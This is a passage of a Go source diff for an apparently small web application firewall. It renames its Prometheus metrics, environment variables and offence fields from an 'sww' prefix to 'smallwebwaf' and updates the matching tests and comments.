g.metrics.RequestsWithoutGeoJSAnswer.Inc()
|
||||
g.metrics.GeoJSUnanswered.Inc()
|
||||
|
||||
return Answer{}, nil // too many clients wait already
|
||||
}
|
||||
@@ -307,7 +307,7 @@ func (g *GeoJS) answerOrWait(
|
||||
}
|
||||
|
||||
if w.late {
|
||||
g.metrics.RequestsWithoutGeoJSAnswer.Inc()
|
||||
g.metrics.GeoJSUnanswered.Inc()
|
||||
|
||||
return Answer{}, nil
|
||||
}
|
||||
|
||||
@@ -362,7 +362,7 @@ func TestWithoutWaitTheRequestGoesOnAtOnceAndTheAnswerIsGivenWhenItComes(
|
||||
mu.Unlock()
|
||||
|
||||
wantCountry(t, g, client, germany)
|
||||
wantRequestsWithoutGeoJSAnswer(t, m, 0)
|
||||
wantUnanswered(t, m, 0)
|
||||
})
|
||||
}
|
||||
|
||||
@@ -596,7 +596,7 @@ func TestClientsWithoutAnAnswerAreCounted(t *testing.T) {
|
||||
// GeoJS fails, so the first client goes without an answer, and GeoJS
|
||||
// is left alone for a second, which does not pass in this test.
|
||||
wantCountry(t, g, clients(), "")
|
||||
wantRequestsWithoutGeoJSAnswer(t, m, 1)
|
||||
wantUnanswered(t, m, 1)
|
||||
|
||||
// Meanwhile each new client goes without one at once, while there is
|
||||
// room for it among the 10,000 that may wait.
|
||||
@@ -604,11 +604,11 @@ func TestClientsWithoutAnAnswerAreCounted(t *testing.T) {
|
||||
wantCountry(t, g, clients(), "")
|
||||
}
|
||||
|
||||
wantRequestsWithoutGeoJSAnswer(t, m, 10000)
|
||||
wantUnanswered(t, m, 10000)
|
||||
|
||||
// One more, for which there is no room, goes without one too.
|
||||
wantCountry(t, g, clients(), "")
|
||||
wantRequestsWithoutGeoJSAnswer(t, m, 10001)
|
||||
wantUnanswered(t, m, 10001)
|
||||
})
|
||||
}
|
||||
|
||||
@@ -841,12 +841,12 @@ func wantAsked(t *testing.T, geojs *standIn, i int, want ...string) {
|
||||
}
|
||||
}
|
||||
|
||||
// wantRequestsWithoutGeoJSAnswer checks how many requests m counts as having
|
||||
// gone without an answer from GeoJS.
|
||||
func wantRequestsWithoutGeoJSAnswer(t *testing.T, m *metrics.Metrics, want float64) {
|
||||
// wantUnanswered checks how many requests m counts as having gone without
|
||||
// an answer from GeoJS.
|
||||
func wantUnanswered(t *testing.T, m *metrics.Metrics, want float64) {
|
||||
t.Helper()
|
||||
|
||||
got := testutil.ToFloat64(m.RequestsWithoutGeoJSAnswer)
|
||||
got := testutil.ToFloat64(m.GeoJSUnanswered)
|
||||
if got != want {
|
||||
t.Errorf("%v requests went without an answer, want %v", got, want)
|
||||
}
|
||||
|
||||
@@ -17,7 +17,7 @@ import (
|
||||
const fileMode = 0o600
|
||||
|
||||
// Network is what a lookup database holds about a netblock, of the fields
|
||||
// sww reads: its AS number, such as AS64496, the AS's name, and
|
||||
// smallwebwaf reads: its AS number, such as AS64496, the AS's name, and
|
||||
// its country, such as DE.
|
||||
type Network struct {
|
||||
ASN string
|
||||
|
||||
@@ -25,7 +25,7 @@ type busiest struct {
|
||||
requests *prometheus.CounterVec
|
||||
requestBytes *prometheus.CounterVec
|
||||
responseBytes *prometheus.CounterVec
|
||||
// refused are, by country, the requests the country list refused; nil
|
||||
// refused are, by country, the requests the country lists refused; nil
|
||||
// by AS number.
|
||||
refused *prometheus.CounterVec
|
||||
|
||||
@@ -41,8 +41,8 @@ type busiest struct {
|
||||
// for the topN busiest countries.
|
||||
func newCountries(topN int) *busiest {
|
||||
countries := newBusiest(topN, "country", "the client's country")
|
||||
countries.refused = counterVec("sww_country_list_refusals_total",
|
||||
"Requests SWW_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
|
||||
countries.refused = counterVec("smallwebwaf_country_list_refusals_total",
|
||||
"Requests the country lists refused, by the client's country.",
|
||||
[]string{"country"})
|
||||
|
||||
return countries
|
||||
@@ -61,11 +61,11 @@ func newBusiest(topN int, label, description string) *busiest {
|
||||
|
||||
return &busiest{
|
||||
topN: topN,
|
||||
requests: counterVec("sww_"+label+"_requests_total",
|
||||
requests: counterVec("smallwebwaf_"+label+"_requests_total",
|
||||
"Requests, by "+description+".", by),
|
||||
requestBytes: counterVec("sww_"+label+"_request_bytes_total",
|
||||
requestBytes: counterVec("smallwebwaf_"+label+"_request_bytes_total",
|
||||
"Request body bytes, by "+description+".", by),
|
||||
responseBytes: counterVec("sww_"+label+"_response_bytes_total",
|
||||
responseBytes: counterVec("smallwebwaf_"+label+"_response_bytes_total",
|
||||
"Response body bytes, by "+description+".", by),
|
||||
seen: map[string]int64{},
|
||||
top: map[string]bool{},
|
||||
@@ -88,7 +88,7 @@ func (b *busiest) Collect(ch chan<- prometheus.Metric) {
|
||||
}
|
||||
|
||||
// vecs returns the metrics: by AS number, those of requests and bytes; by
|
||||
// country, the refusals by the country list as well.
|
||||
// country, the refusals by the country lists as well.
|
||||
func (b *busiest) vecs() []*prometheus.CounterVec {
|
||||
vecs := []*prometheus.CounterVec{b.requests, b.requestBytes, b.responseBytes}
|
||||
if b.refused != nil {
|
||||
|
||||
+65
-65
@@ -1,4 +1,4 @@
|
||||
// Package metrics keeps sww's Prometheus metrics, as
|
||||
// Package metrics keeps smallwebwaf's Prometheus metrics, as
|
||||
// docs/metrics.md lists them, and serves them in the Prometheus text
|
||||
// format, as the "Metrics endpoint" section of SPEC.md requires. No
|
||||
// metric carries a client's address.
|
||||
@@ -22,7 +22,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/rules"
|
||||
)
|
||||
|
||||
// Metrics are sww's metrics. They are safe for concurrent use.
|
||||
// Metrics are smallwebwaf's metrics. They are safe for concurrent use.
|
||||
type Metrics struct {
|
||||
// registry gives every metric registered with it the label instance.
|
||||
registry prometheus.Registerer
|
||||
@@ -36,7 +36,7 @@ type Metrics struct {
|
||||
upstreamDuration prometheus.Histogram
|
||||
rateLimitHits *prometheus.CounterVec
|
||||
offences *prometheus.CounterVec
|
||||
coreRuleSetMatches *prometheus.CounterVec
|
||||
wafMatches *prometheus.CounterVec
|
||||
// ruleMatches are made by AddRules, and reputationHits by
|
||||
// AddReputation.
|
||||
ruleMatches *prometheus.CounterVec
|
||||
@@ -45,12 +45,12 @@ type Metrics struct {
|
||||
asns *busiest
|
||||
|
||||
// GeoJSRequests are the requests to GeoJS, and GeoJSFailures those
|
||||
// that failed. RequestsWithoutGeoJSAnswer are the requests that needed
|
||||
// their client's answer, for a setting that acts on it, and went on
|
||||
// without it because GeoJS had not given it in time.
|
||||
// that failed. GeoJSUnanswered are the requests that needed their
|
||||
// client's answer, for a setting that acts on it, and went on without
|
||||
// it because GeoJS had not given it in time.
|
||||
GeoJSRequests prometheus.Counter
|
||||
GeoJSFailures prometheus.Counter
|
||||
RequestsWithoutGeoJSAnswer prometheus.Counter
|
||||
GeoJSUnanswered prometheus.Counter
|
||||
|
||||
stateFileWrites *prometheus.CounterVec
|
||||
stateFileWriteFailures *prometheus.CounterVec
|
||||
@@ -62,8 +62,8 @@ type Metrics struct {
|
||||
|
||||
// New returns the metrics, with the Go runtime's and the process's own.
|
||||
// topN is how many countries and how many AS numbers get series of their
|
||||
// own (SWW_METRICS_TOP_N). Every metric carries instanceName
|
||||
// (SWW_INSTANCE_NAME) as its label instance.
|
||||
// own (SWWAF_METRICS_TOP_N). Every metric carries instanceName
|
||||
// (SWWAF_INSTANCE_NAME) as its label instance.
|
||||
//
|
||||
//nolint:funlen // a few lines for each metric, a list that grows with them
|
||||
func New(topN int, instanceName string) *Metrics {
|
||||
@@ -76,60 +76,60 @@ func New(topN int, instanceName string) *Metrics {
|
||||
prometheus.Labels{"instance": instanceName}, registry),
|
||||
handler: promhttp.HandlerFor(registry, promhttp.HandlerOpts{}),
|
||||
inFlight: prometheus.NewGauge(prometheus.GaugeOpts{
|
||||
Name: "sww_requests_in_flight",
|
||||
Name: "smallwebwaf_requests_in_flight",
|
||||
Help: "Requests under way.",
|
||||
}),
|
||||
requests: counterVec("sww_requests_total",
|
||||
requests: counterVec("smallwebwaf_requests_total",
|
||||
"Requests, by the class of their status and their action.", byStatus),
|
||||
requestBytes: counterVec("sww_request_bytes_total",
|
||||
requestBytes: counterVec("smallwebwaf_request_bytes_total",
|
||||
"Request body bytes, by the class of the status and the action.",
|
||||
byStatus),
|
||||
responseBytes: counterVec("sww_response_bytes_total",
|
||||
responseBytes: counterVec("smallwebwaf_response_bytes_total",
|
||||
"Response body bytes, by the class of the status and the action.",
|
||||
byStatus),
|
||||
requestDuration: prometheus.NewHistogram(prometheus.HistogramOpts{
|
||||
Name: "sww_request_duration_seconds",
|
||||
Name: "smallwebwaf_request_duration_seconds",
|
||||
Help: "How long requests took, from their arrival to their end.",
|
||||
}),
|
||||
upstreamDuration: prometheus.NewHistogram(prometheus.HistogramOpts{
|
||||
Name: "sww_upstream_duration_seconds",
|
||||
Name: "smallwebwaf_upstream_duration_seconds",
|
||||
Help: "How long requests passed to the app took, from then to their end.",
|
||||
}),
|
||||
rateLimitHits: counterVec("sww_rate_limit_hits_total",
|
||||
rateLimitHits: counterVec("smallwebwaf_rate_limit_hits_total",
|
||||
"Requests that broke a rate limit, a byte limit or the error burst, by "+
|
||||
"its window and its kind, requests, bytes or refusals.",
|
||||
[]string{"window", "kind"}),
|
||||
offences: counterVec("sww_offences_total",
|
||||
offences: counterVec("smallwebwaf_offences_total",
|
||||
"Offences, by kind.", []string{"kind"}),
|
||||
coreRuleSetMatches: counterVec("sww_core_rule_set_matches_total",
|
||||
"Requests that matched a rule of the Core Rule Set, by SWW_WAF_MODE "+
|
||||
wafMatches: counterVec("smallwebwaf_waf_matches_total",
|
||||
"Requests that matched a rule of the Core Rule Set, by SWWAF_WAF_MODE "+
|
||||
"and the rule's id.", []string{"mode", "rule_id"}),
|
||||
countries: newCountries(topN),
|
||||
asns: newASNs(topN),
|
||||
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
|
||||
Name: "sww_geojs_requests_total",
|
||||
Name: "smallwebwaf_geojs_requests_total",
|
||||
Help: "Requests to GeoJS.",
|
||||
}),
|
||||
GeoJSFailures: prometheus.NewCounter(prometheus.CounterOpts{
|
||||
Name: "sww_geojs_failures_total",
|
||||
Name: "smallwebwaf_geojs_failures_total",
|
||||
Help: "Requests to GeoJS that failed.",
|
||||
}),
|
||||
RequestsWithoutGeoJSAnswer: prometheus.NewCounter(prometheus.CounterOpts{
|
||||
Name: "sww_requests_without_geojs_answer_total",
|
||||
GeoJSUnanswered: prometheus.NewCounter(prometheus.CounterOpts{
|
||||
Name: "smallwebwaf_geojs_unanswered_total",
|
||||
Help: "Requests that needed their client's answer from GeoJS and " +
|
||||
"went on without it, because GeoJS had not given it in time.",
|
||||
}),
|
||||
stateFileWrites: counterVec("sww_state_file_writes_total",
|
||||
stateFileWrites: counterVec("smallwebwaf_state_file_writes_total",
|
||||
"Writes of each state file.", byFile),
|
||||
stateFileWriteFailures: counterVec("sww_state_file_write_failures_total",
|
||||
stateFileWriteFailures: counterVec("smallwebwaf_state_file_write_failures_total",
|
||||
"Writes of each state file that failed.", byFile),
|
||||
stateFileLastWrite: gaugeVec("sww_state_file_last_write_timestamp_seconds",
|
||||
stateFileLastWrite: gaugeVec("smallwebwaf_state_file_last_write_timestamp_seconds",
|
||||
"When each state file was last written, in seconds since 1970.", byFile),
|
||||
stateFileSize: gaugeVec("sww_state_file_size_bytes",
|
||||
stateFileSize: gaugeVec("smallwebwaf_state_file_size_bytes",
|
||||
"The size of each state file, as it was last written.", byFile),
|
||||
stateFileEditsTakenIn: counterVec("sww_state_file_edits_taken_in_total",
|
||||
stateFileEditsTakenIn: counterVec("smallwebwaf_state_file_edits_taken_in_total",
|
||||
"Edits of each state file taken in while running.", byFile),
|
||||
stateFileEditsSetAside: counterVec("sww_state_file_edits_set_aside_total",
|
||||
stateFileEditsSetAside: counterVec("smallwebwaf_state_file_edits_set_aside_total",
|
||||
"Edits of each state file renamed to <name>.bad because they did not parse.",
|
||||
byFile),
|
||||
}
|
||||
@@ -139,9 +139,9 @@ func New(topN int, instanceName string) *Metrics {
|
||||
collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}),
|
||||
m.inFlight, m.requests, m.requestBytes, m.responseBytes,
|
||||
m.requestDuration, m.upstreamDuration,
|
||||
m.rateLimitHits, m.offences, m.coreRuleSetMatches,
|
||||
m.rateLimitHits, m.offences, m.wafMatches,
|
||||
m.countries, m.asns,
|
||||
m.GeoJSRequests, m.GeoJSFailures, m.RequestsWithoutGeoJSAnswer,
|
||||
m.GeoJSRequests, m.GeoJSFailures, m.GeoJSUnanswered,
|
||||
m.stateFileWrites, m.stateFileWriteFailures,
|
||||
m.stateFileLastWrite, m.stateFileSize,
|
||||
m.stateFileEditsTakenIn, m.stateFileEditsSetAside,
|
||||
@@ -161,7 +161,7 @@ func (m *Metrics) AddBansAndClients(
|
||||
bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec,
|
||||
} {
|
||||
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||
Name: "sww_bans_made_total",
|
||||
Name: "smallwebwaf_bans_made_total",
|
||||
Help: "Bans made, by cause.",
|
||||
ConstLabels: prometheus.Labels{"cause": cause},
|
||||
}, func() float64 {
|
||||
@@ -171,7 +171,7 @@ func (m *Metrics) AddBansAndClients(
|
||||
|
||||
m.registry.MustRegister(
|
||||
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
||||
Name: "sww_active_bans",
|
||||
Name: "smallwebwaf_active_bans",
|
||||
Help: "Bans active now, the permanent ones included.",
|
||||
}, func() float64 {
|
||||
active, _ := ledger.Count(now())
|
||||
@@ -179,7 +179,7 @@ func (m *Metrics) AddBansAndClients(
|
||||
return float64(active)
|
||||
}),
|
||||
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
||||
Name: "sww_permanent_bans",
|
||||
Name: "smallwebwaf_permanent_bans",
|
||||
Help: "Permanent bans not lifted.",
|
||||
}, func() float64 {
|
||||
_, permanent := ledger.Count(now())
|
||||
@@ -187,7 +187,7 @@ func (m *Metrics) AddBansAndClients(
|
||||
return float64(permanent)
|
||||
}),
|
||||
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
||||
Name: "sww_tracked_clients",
|
||||
Name: "smallwebwaf_tracked_clients",
|
||||
Help: "Clients in the table of clients.",
|
||||
}, func() float64 {
|
||||
return float64(limiter.Len())
|
||||
@@ -200,13 +200,13 @@ func (m *Metrics) AddBansAndClients(
|
||||
// ruleFiles, read as the metrics are asked for. It is called once, before
|
||||
// RuleMatched.
|
||||
func (m *Metrics) AddRules(ruleFiles *rules.Files) {
|
||||
m.ruleMatches = counterVec("sww_rule_matches_total",
|
||||
m.ruleMatches = counterVec("smallwebwaf_rule_matches_total",
|
||||
"Requests that matched a rule of the rule files, by its id and action.",
|
||||
[]string{"rule_id", "action"})
|
||||
|
||||
m.registry.MustRegister(m.ruleMatches,
|
||||
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
||||
Name: "sww_rules_loaded",
|
||||
Name: "smallwebwaf_rules_loaded",
|
||||
Help: "Rules loaded from the rule files.",
|
||||
}, func() float64 {
|
||||
return float64(ruleFiles.Len())
|
||||
@@ -214,25 +214,25 @@ func (m *Metrics) AddRules(ruleFiles *rules.Files) {
|
||||
}
|
||||
|
||||
// AddRemoteLog adds the metrics of sending the log lines to
|
||||
// SWW_LOG_REMOTE_URL, read from remote as the metrics are asked for: the
|
||||
// SWWAF_LOG_REMOTE_URL, read from remote as the metrics are asked for: the
|
||||
// lines sent, those dropped, and those waiting in the buffer.
|
||||
func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
|
||||
m.registry.MustRegister(
|
||||
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||
Name: "sww_remote_log_lines_sent_total",
|
||||
Help: "Log lines sent to SWW_LOG_REMOTE_URL.",
|
||||
Name: "smallwebwaf_remote_log_lines_sent_total",
|
||||
Help: "Log lines sent to SWWAF_LOG_REMOTE_URL.",
|
||||
}, func() float64 {
|
||||
return float64(remote.Sent())
|
||||
}),
|
||||
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||
Name: "sww_remote_log_lines_dropped_total",
|
||||
Name: "smallwebwaf_remote_log_lines_dropped_total",
|
||||
Help: "Log lines dropped: the oldest in a full buffer, and those " +
|
||||
"whose sending failed.",
|
||||
}, func() float64 {
|
||||
return float64(remote.Dropped())
|
||||
}),
|
||||
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
||||
Name: "sww_remote_log_lines_waiting",
|
||||
Name: "smallwebwaf_remote_log_buffer_depth",
|
||||
Help: "Log lines in the buffer, waiting to be sent.",
|
||||
}, func() float64 {
|
||||
return float64(remote.Depth())
|
||||
@@ -248,13 +248,13 @@ func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
|
||||
func (m *Metrics) AddLookupFile(lastRead func() time.Time, readFailures func() int) {
|
||||
m.registry.MustRegister(
|
||||
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
||||
Name: "sww_lookup_database_last_read_timestamp_seconds",
|
||||
Name: "smallwebwaf_lookup_database_last_read_timestamp_seconds",
|
||||
Help: "When the lookup database in use was read, in seconds since 1970.",
|
||||
}, func() float64 {
|
||||
return float64(lastRead().Unix())
|
||||
}),
|
||||
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||
Name: "sww_lookup_database_read_failures_total",
|
||||
Name: "smallwebwaf_lookup_database_read_failures_total",
|
||||
Help: "Replacements of the lookup database that could not be read.",
|
||||
}, func() float64 {
|
||||
return float64(readFailures())
|
||||
@@ -275,7 +275,7 @@ const sourceLabel = "source"
|
||||
// copy in use was fetched, and for a zone, the queries made and those that
|
||||
// failed. It is called once, before ReputationHit.
|
||||
func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL) {
|
||||
m.reputationHits = counterVec("sww_reputation_hits_total",
|
||||
m.reputationHits = counterVec("smallwebwaf_reputation_hits_total",
|
||||
"Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+
|
||||
"zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.",
|
||||
[]string{sourceLabel})
|
||||
@@ -294,7 +294,7 @@ func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL
|
||||
m.addReputationFailures(source, func() int { return lists.Failures(listURL) })
|
||||
m.registry.MustRegister(
|
||||
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
||||
Name: "sww_reputation_last_fetch_timestamp_seconds",
|
||||
Name: "smallwebwaf_reputation_last_fetch_timestamp_seconds",
|
||||
Help: "When the copy of the list in use was fetched, in seconds since " +
|
||||
"1970, or 0 while there is none.",
|
||||
ConstLabels: source,
|
||||
@@ -313,7 +313,7 @@ func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL
|
||||
// AddAbuseIPDB adds the metrics of AbuseIPDB, with the source abuseipdb,
|
||||
// read from abuseIPDB as the metrics are asked for: the checks made, those
|
||||
// that failed, and how many checks the day's budget has left. It is
|
||||
// called once, after AddReputation, while SWW_ABUSEIPDB_KEY is set.
|
||||
// called once, after AddReputation, while SWWAF_ABUSEIPDB_KEY is set.
|
||||
func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
|
||||
source := prometheus.Labels{sourceLabel: reputation.AbuseIPDBSource}
|
||||
|
||||
@@ -321,8 +321,8 @@ func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
|
||||
m.addReputationFailures(source, abuseIPDB.Failures)
|
||||
m.registry.MustRegister(
|
||||
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
||||
Name: "sww_reputation_daily_budget_remaining",
|
||||
Help: "Checks of the day's SWW_ABUSEIPDB_DAILY_BUDGET not yet spent.",
|
||||
Name: "smallwebwaf_reputation_daily_budget_remaining",
|
||||
Help: "Checks of the day's SWWAF_ABUSEIPDB_DAILY_BUDGET not yet spent.",
|
||||
ConstLabels: source,
|
||||
}, func() float64 {
|
||||
return float64(abuseIPDB.BudgetLeft())
|
||||
@@ -348,29 +348,29 @@ func (m *Metrics) AddAlerts(queue *alerts.Queue) {
|
||||
|
||||
m.registry.MustRegister(
|
||||
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||
Name: "sww_alerts_sent_total",
|
||||
Name: "smallwebwaf_alerts_sent_total",
|
||||
Help: "Alerts the destination took.",
|
||||
ConstLabels: destination,
|
||||
}, func() float64 {
|
||||
return float64(queue.Counts(name).Sent)
|
||||
}),
|
||||
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||
Name: "sww_alert_send_failures_total",
|
||||
Name: "smallwebwaf_alerts_failed_total",
|
||||
Help: "Requests to the destination that failed.",
|
||||
ConstLabels: destination,
|
||||
}, func() float64 {
|
||||
return float64(queue.Counts(name).SendFailures)
|
||||
return float64(queue.Counts(name).Failed)
|
||||
}),
|
||||
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||
Name: "sww_alerts_suppressed_total",
|
||||
Help: "Alerts held back: repeats within SWW_ALERT_COOLDOWN, and " +
|
||||
"alerts past SWW_ALERT_MAX_PER_HOUR, for the hour's summary.",
|
||||
Name: "smallwebwaf_alerts_suppressed_total",
|
||||
Help: "Alerts held back: repeats within SWWAF_ALERT_COOLDOWN, and " +
|
||||
"alerts past SWWAF_ALERT_MAX_PER_HOUR, for the hour's summary.",
|
||||
ConstLabels: destination,
|
||||
}, func() float64 {
|
||||
return float64(queue.Suppressed())
|
||||
}),
|
||||
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||
Name: "sww_alerts_dropped_total",
|
||||
Name: "smallwebwaf_alerts_dropped_total",
|
||||
Help: "Alerts dropped, the oldest first, from a full queue, and " +
|
||||
"alerts given up as the destination refused them.",
|
||||
ConstLabels: destination,
|
||||
@@ -426,8 +426,8 @@ func (m *Metrics) Offences(r ratelimit.Request) {
|
||||
for kind, committed := range map[string]bool{
|
||||
"limit": r.BrokeLimit,
|
||||
"attack": r.Attack,
|
||||
"blocked_by_block_rule": r.BlockedByBlockRule,
|
||||
"blocked_by_core_rule_set": r.BlockedByCoreRuleSet,
|
||||
"rule_blocked": r.RuleBlocked,
|
||||
"waf_blocked": r.WAFBlocked,
|
||||
} {
|
||||
if committed {
|
||||
m.offences.WithLabelValues(kind).Inc()
|
||||
@@ -441,10 +441,10 @@ func (m *Metrics) RuleMatched(id, action string) {
|
||||
m.ruleMatches.WithLabelValues(id, action).Inc()
|
||||
}
|
||||
|
||||
// CoreRuleSetMatched counts a request that matched the Core Rule Set's rule id,
|
||||
// with SWW_WAF_MODE at mode.
|
||||
func (m *Metrics) CoreRuleSetMatched(mode string, id int) {
|
||||
m.coreRuleSetMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
|
||||
// WAFMatched counts a request that matched the Core Rule Set's rule id,
|
||||
// with SWWAF_WAF_MODE at mode.
|
||||
func (m *Metrics) WAFMatched(mode string, id int) {
|
||||
m.wafMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
|
||||
}
|
||||
|
||||
// StateFileWritten counts a write of the state file name, of size bytes,
|
||||
@@ -467,7 +467,7 @@ func (m *Metrics) StateFileWritten(name string, size int, err error) {
|
||||
}
|
||||
|
||||
// StateFileEditTakenIn counts an admin's edit of the state file name
|
||||
// taken in while sww runs.
|
||||
// taken in while smallwebwaf runs.
|
||||
func (m *Metrics) StateFileEditTakenIn(name string) {
|
||||
m.stateFileEditsTakenIn.WithLabelValues(name).Inc()
|
||||
}
|
||||
@@ -506,7 +506,7 @@ func (m *Metrics) count(
|
||||
// zone, or of the checks of clients with AbuseIPDB, which count tells.
|
||||
func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() int) {
|
||||
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||
Name: "sww_reputation_queries_total",
|
||||
Name: "smallwebwaf_reputation_queries_total",
|
||||
Help: "Queries to the DNSBL zone, or checks of clients with AbuseIPDB.",
|
||||
ConstLabels: source,
|
||||
}, func() float64 {
|
||||
@@ -519,7 +519,7 @@ func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() in
|
||||
// that failed, which count tells.
|
||||
func (m *Metrics) addReputationFailures(source prometheus.Labels, count func() int) {
|
||||
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||
Name: "sww_reputation_failures_total",
|
||||
Name: "smallwebwaf_reputation_failures_total",
|
||||
Help: "Fetches of the list, queries to the DNSBL zone, or checks with " +
|
||||
"AbuseIPDB, that failed.",
|
||||
ConstLabels: source,
|
||||
|
||||
@@ -23,7 +23,7 @@ func TestHistoryKeepsEveryRequest(t *testing.T) {
|
||||
{Forwarded: true, Status: 502, ResponseBytes: 12},
|
||||
// Closed without an answer: refused, and no response.
|
||||
{Refused: true, Status: 0},
|
||||
// Answered 404 for a path under /_sww/: neither forwarded nor
|
||||
// Answered 404 for a path under /_smallwebwaf/: neither forwarded nor
|
||||
// refused.
|
||||
{Status: 404},
|
||||
} {
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
// and bytes counted over a minute, an hour and a day, as the "Counting
|
||||
// method" section of SPEC.md describes, which tell when a request takes
|
||||
// the client over a rate limit or a byte limit, and each client's history
|
||||
// since it was first seen. At most SWW_MAX_TRACKED_CLIENTS clients are
|
||||
// since it was first seen. At most SWWAF_MAX_TRACKED_CLIENTS clients are
|
||||
// kept, in memory, and written to clients.json and read from it by the
|
||||
// state package.
|
||||
package ratelimit
|
||||
@@ -25,7 +25,7 @@ const (
|
||||
KindRequests = "requests"
|
||||
// KindBytes is a byte limit, on a client's bytes.
|
||||
KindBytes = "bytes"
|
||||
// KindRefusals is the error burst, on a client's requests sww
|
||||
// KindRefusals is the error burst, on a client's requests smallwebwaf
|
||||
// refused after a rule file match or for a missing or wrong token.
|
||||
KindRefusals = "refusals"
|
||||
)
|
||||
@@ -92,9 +92,9 @@ type History struct {
|
||||
ASName string `json:"as_name,omitempty"`
|
||||
Country string `json:"country,omitempty"`
|
||||
LookedUp time.Time `json:"looked_up,omitzero"`
|
||||
// Requests are all the client's requests: Forwarded those discriminator allowed,
|
||||
// Requests are all the client's requests: Forwarded those servewaf allowed,
|
||||
// Refused those it refused, and neither those for a path under
|
||||
// /_sww/.
|
||||
// /_smallwebwaf/.
|
||||
Requests int64 `json:"requests"`
|
||||
Forwarded int64 `json:"forwarded"`
|
||||
Refused int64 `json:"refused"`
|
||||
@@ -122,13 +122,12 @@ type Responses struct {
|
||||
type Offences struct {
|
||||
// Limit is its requests that broke a rate limit, a byte limit or the
|
||||
// error burst, Attack those that were a clear sign of attack, a match
|
||||
// of a ban rule or a request for a trap path, BlockedByBlockRule those a
|
||||
// block rule refused, and BlockedByCoreRuleSet those the Core Rule Set
|
||||
// refused.
|
||||
// of a ban rule or a request for a trap path, RuleBlocked those a block
|
||||
// rule refused, and WAFBlocked those the Core Rule Set refused.
|
||||
Limit int64 `json:"limit"`
|
||||
Attack int64 `json:"attack"`
|
||||
BlockedByBlockRule int64 `json:"blocked_by_block_rule"`
|
||||
BlockedByCoreRuleSet int64 `json:"blocked_by_core_rule_set"`
|
||||
RuleBlocked int64 `json:"rule_blocked"`
|
||||
WAFBlocked int64 `json:"waf_blocked"`
|
||||
// TokenRefused is what a clients.json written by an earlier version gives,
|
||||
// which must still load. Nothing adds to it.
|
||||
TokenRefused int64 `json:"token_refused,omitempty"`
|
||||
@@ -136,8 +135,8 @@ type Offences struct {
|
||||
|
||||
// Request is what a client's history keeps of one of its requests.
|
||||
type Request struct {
|
||||
// Forwarded is true for a request discriminator allowed, and Refused for one it
|
||||
// refused. Both are false for a request for a path under /_sww/.
|
||||
// Forwarded is true for a request servewaf allowed, and Refused for one it
|
||||
// refused. Both are false for a request for a path under /_smallwebwaf/.
|
||||
Forwarded bool
|
||||
Refused bool
|
||||
// Status is what the client was sent, 0 if nothing was.
|
||||
@@ -148,16 +147,16 @@ type Request struct {
|
||||
ResponseBytes int64
|
||||
// BrokeLimit is true for a request that broke a rate limit, a byte
|
||||
// limit or the error burst, Attack for one that matched a ban rule or
|
||||
// asked for a trap path, BlockedByBlockRule for one a block rule refused,
|
||||
// and BlockedByCoreRuleSet for one the Core Rule Set refused.
|
||||
// asked for a trap path, RuleBlocked for one a block rule refused, and
|
||||
// WAFBlocked for one the Core Rule Set refused.
|
||||
BrokeLimit bool
|
||||
Attack bool
|
||||
BlockedByBlockRule bool
|
||||
BlockedByCoreRuleSet bool
|
||||
RuleBlocked bool
|
||||
WAFBlocked bool
|
||||
}
|
||||
|
||||
// New returns a Limiter for limits, with no client counted yet, whose
|
||||
// table holds at most maxClients clients (SWW_MAX_TRACKED_CLIENTS). Past
|
||||
// table holds at most maxClients clients (SWWAF_MAX_TRACKED_CLIENTS). Past
|
||||
// it, the least recently seen client is dropped, with its history, and
|
||||
// starts afresh if it comes back.
|
||||
func New(limits Limits, maxClients int) *Limiter {
|
||||
@@ -259,7 +258,7 @@ func (l *Limiter) CountBytes(
|
||||
return l.count(client, now, 0, bytes, percent)
|
||||
}
|
||||
|
||||
// CountRefusal counts a request from client at now that sww
|
||||
// CountRefusal counts a request from client at now that smallwebwaf
|
||||
// refused after a rule file or Core Rule Set match or for a missing or
|
||||
// wrong token, and reports whether the client's refusals in the minute
|
||||
// that ends at now, this one included, are more than threshold, which
|
||||
@@ -324,12 +323,12 @@ func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) {
|
||||
h.Offences.Attack++
|
||||
}
|
||||
|
||||
if r.BlockedByBlockRule {
|
||||
